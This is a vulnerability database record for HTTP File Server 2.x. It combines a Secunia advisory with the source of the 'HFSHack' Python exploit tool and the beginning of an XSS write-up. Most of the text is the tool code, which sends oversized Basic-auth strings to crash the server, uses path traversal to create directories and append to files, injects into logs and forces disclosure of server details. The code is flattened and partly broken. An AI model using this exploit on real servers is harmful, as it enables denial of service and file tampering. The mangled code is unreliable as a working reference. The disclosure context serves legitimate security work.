var-200801-0096
Vulnerability from variot
HTTP File Server (HFS) before 2.2c allows remote attackers to obtain configuration and usage details by using an id element such as
A new version (0.9.0.0 - Release Candidate 1) of the free Secunia PSI has been released. The new version includes many new and advanced features, which makes it even easier to stay patched.
Download and test it today: https://psi.secunia.com/
Read more about this new version: https://psi.secunia.com/?page=changelog
TITLE: HTTP File Server Multiple Vulnerabilities
SECUNIA ADVISORY ID: SA28631
VERIFY ADVISORY: http://secunia.com/advisories/28631/
CRITICAL: Moderately critical
IMPACT: Cross Site Scripting, Spoofing, Manipulation of data, Exposure of system information, DoS, System access
WHERE:
From remote
SOFTWARE: HTTP File Server 2.x http://secunia.com/product/16793/
DESCRIPTION: Felipe Aragon and Alec Storm have reported some vulnerabilities and security issues in HTTP File Server, which can be exploited by malicious people to disclose system information, conduct spoofing and cross-site scripting attacks, bypass certain security restrictions, manipulate data, and potentially compromise a vulnerable system.
1) The application does not correctly log certain input. This can be exploited to e.g. spoof the username or inject arbitrary content into the logfile when logging in.
2) Certain input is not properly sanitised before being returned to a user.
3) It is possible to disclose certain information (e.g. number of connections, transfer speed, traffic statistics, or uptime) by sending specially crafted request containing template symbols.
4) The application does not correctly handle the username before using it to create the file name of the logfile. This can be exploited to create directories, append data to files, or to cause a buffer overflow by sending specially crafted requests to a vulnerable server.
Successful exploitation allows the execution of arbitrary code, but requires that the "%user%" template symbol is used to define the name of the logfile.
SOLUTION: Some of the vulnerabilities are fixed in version 2.2c.
Subscribe: http://secunia.com/secunia_security_advisories/
Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/
Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor.
Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
. #!/usr/bin/python
"""
HFSHack 1.0b (By Felipe M. Examples:\n' ' manipf inject.html index.html or ..\..\index.html\n' ' Note: If the file does not exists, it will be created.\n\n' 'maniplog [localfilename]\n' ' Injects content of a local file to the HFS log panel and file\n\n' 'mkd [dirname]\n' ' Creates directories. Examples:\n' ' mkd Test or ..\..\Windows\Test\n\n' 'symbols\n' ' Forces HFS to reveal details about the server\n\n' 'ver\n' ' Forces HFS to show its version and build, and displays which\n\n' ' HFSHack commands are available for it\n' 'quit\n' ' Exits this application' '\r\n')
readme = ( '(c) 2008 Syhunt Security. All rights reserved.\n\n' 'This tool is provided ''as-is'', without any expressed or implied\n' 'warranty. In no event will the author be held liable for any\n' 'damages arising from the use of this tool.\n\n' 'Permission is granted to anyone to use this tool, and to alter\n' 'it and redistribute it freely, subject to the following\n' 'restrictions:\n\n' '1. The origin of this tool must not be misrepresented, you must\n' ' not claim that you wrote the original tool.\n\n' '2. Altered source versions must be plainly marked as such, and\n' ' must not be misrepresented as being the original plugin.\n\n' '3. This notice may not be removed or altered from any source\n' ' distribution.\n\n' 'If you have any questions concerning this license, please email\n' 'contact at syhunt dot com\n' )
about = ( '----------------------------------------------------------------\n' ' Syhunt HFSHack 1.0b\n' '----------------------------------------------------------------\n\n' 'This exploit tool should be used only by system administrators\n' '(or other people in charge).\n\n' 'Type "readme" and read the text before continuing\n\n' 'If you have already read it, type "help" to view a list of\n' 'commands.' )
Extra Details to Obtain
symbol_list = ( 'connections;Current number of connections to HFS', 'timestamp;Date and time of the server', 'uptime;Uptime', 'speed-out;Current outbound speed', 'speed-in;Current inbound speed', 'total-out;Total amount of bytes sent', 'total-downloads;Total amount of bytes sent', 'total-hits;Total Hits', 'total-uploads;Total Uploads', 'number-addresses;Current number of connected clients (IPs)', 'number-addresses-ever;Number of unique IPs ever connected', 'number-addresses-downloading;Current number of downloading clients (IPs)', )
Affected Versions
re_200801161 = '^HFS(.?)(2.[0-1]|2.2$|2.2[a-b]|2.3 beta)' re_200801162 = '^HFS(.?)(2.2$|2.2[a-b]|2.3 beta)' re_200801163 = '^HFS(.?)(1.5[f-g]|1.6|2.[0-1]|2.2$|2.2[a-b]|2.3 beta)' re_cangetver = '^HFS(.?)(2.[0-1]|2.2$|2.2[a-b])'
Common Messages
msg_par_mis = 'Parameter(s) missing.' msg_done = 'Done.\n' msg_acc_file = 'Error reading local file (file not found):' msg_help = 'Type "help" to view a list of commands.' msg_err_con = 'Error Connecting:' msg_fail = 'Failed.' msg_req_ok = 'Request accepted.'
uagent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Syhunt HFSHack)'; path = '/' # Default Path
def dorequest(hpath,auth_data,s_msg,f_msg): globals()["rcvd"] = '' globals()["banner"] = '' url = 'http://'+host+hpath try: opener = urllib2.build_opener(url) opener.addheaders = [('User-agent', uagent)] if auth_data != '': opener.addheaders = [('Authorization', 'Basic '+auth_data)] globals()["rcvd"] = opener.open(url).readlines() if 'server' in opener.open(url).headers: globals()["banner"] = opener.open(url).headers['server'] except Exception, msg: if f_msg != '': print f_msg,msg return False else: if s_msg != '': print s_msg return True
def genbase64str(string): base64str = base64.encodestring(string); base64str = base64str.replace("\n","") return base64str
def readlocalfile(filename): file = open(filename, "r") text = file.readlines() file.close() print text filecontentstr = '' for l in text: filecontentstr = filecontentstr+l return filecontentstr
def ishostavailable(): return dorequest(path,'','',msg_err_con)
def getservinfo(symbol,desc):
base64str = base64.encodestring('
def getallservinf(): for l in symbol_list: curl = l.split(';') getservinfo(curl[0],curl[1])
def hfsmkdir(dirname): base64str = genbase64str('\..\'+dirname+'\')+'AA'; dorequest(path,base64str,msg_req_ok,msg_fail)
def shutdownhfs(): dosstr = genbase64str('a' * 270 + ':') if dorequest(path,dosstr,msg_fail,'DoS executed.'): dorequest(path,'','Host is still up.','Host is now down.')
def hfsappendtofile(filename,string): base64str = genbase64str('\..\'+filename)+'AA'; dorequest('/?%0a'+string,base64str,msg_req_ok,msg_fail)
def hfsinjecttolog(string): base64str = genbase64str(string); dorequest('/',base64str,msg_req_ok,msg_fail)
def procparams(cmd): try: if len(cmd) > 0: if cmd[1] != []: globals()["host"] = cmd[1] except: print "No target info provided. Using localhost"
def checkxss(): if ishostavailable(): curver = getservinfo('version','') if curver != '': return 'XSS Found' else: return 'Not Vulnerable' else: return msg_fail
def isbanner(regex): p = re.compile(regex) m = p.match(banner) return m
def showacceptedcmds(): cmds = 'None (This server is not vulnerable)'; if isbanner(re_200801161): cmds = 'checkxss symbols ver' if isbanner(re_200801162): cmds = cmds+' manipf mkd checkdos' if isbanner(re_200801163): cmds = cmds+' maniplog' print '\nAvailable commands for this server:' print ' '+cmds+'\n'
def showver(): cangetver = True if banner != '': server_name = banner.split() print banner if server_name[0] != 'HFS': print 'Not running HFS!' cangetver = False else: if isbanner(re_cangetver): print 'Confirming version...' else: cangetver = False else: print 'No version information found.' print 'The "Send HFS identifier" option is probably disabled.' print 'Trying to force HFS to display its version...' if cangetver == True: idver = getservinfo('version','HFS version number') idbuild = getservinfo('build','HFS build number') globals()["banner"] = 'HFS '+idver+' '+idbuild showacceptedcmds()
def result(s): cmd = s.split() if len(cmd) > 0: curcmd = cmd[0] result = 'Invalid command. Type "help" for list of commands.' if curcmd == 'open': procparams(cmd) if ishostavailable(): showver() result = 'Connected.\n' else: result = msg_fail elif curcmd == 'symbols': if ishostavailable(): showver() print 'Forcing HFS to reveal more details...' getallservinf() result = msg_done elif curcmd == 'ver': if ishostavailable(): showver() result = msg_done elif curcmd == 'mkd': if len(cmd) > 1: if cmd[1] != []: hfsmkdir(cmd[1]) result = msg_done else: result = msg_par_mis elif curcmd == 'manipf': if len(cmd) > 2: try: localfilecontent = readlocalfile(cmd[1]) except Exception, msg: result = msg_acc_file,msg else: localfilecontent = localfilecontent.replace("\n","%0a") hfsappendtofile(cmd[2],localfilecontent) result = msg_done else: result = msg_par_mis elif curcmd == 'maniplog': if len(cmd) > 1: try: localfilecontent = readlocalfile(cmd[1]) except Exception, msg: result = msg_acc_file,msg else: hfsinjecttolog(localfilecontent) result = msg_done else: result = msg_par_mis elif curcmd == 'checkdos': shutdownhfs() result = msg_done elif curcmd == 'checkxss': result = checkxss() elif curcmd == 'help': result = help elif curcmd == 'readme': result = readme elif curcmd == 'quit': result = 'Bye!' return result else: return msg_help
print about
s = "" while s != "quit": try: s = raw_input(">") except EOFError: s = "quit" print s print result(s). According to information on the official website, the HTTP File Server software has been downloaded about 2 million times.
Description: When a specific URL is visited, HFS displays a non-existent account name in the response body. This non-existent account name can be HTML code, allowing a remote attacker to use this to launch XSS attacks.
Because the HTML code is also recognized by the web server as a HFS HTML template, it is also possible to inject symbols to force HFS to reveal details about the server (eg, current HFS server version, build, connections, timestamp, uptime, current outbound and inbound speed, and more). Technical details are included below.
Details (Replicating the issues):
1) Cross-Site Scripting (XSS) and Host Field XSS Vulnerabilities Example 1 - Launching a basic XSS: http://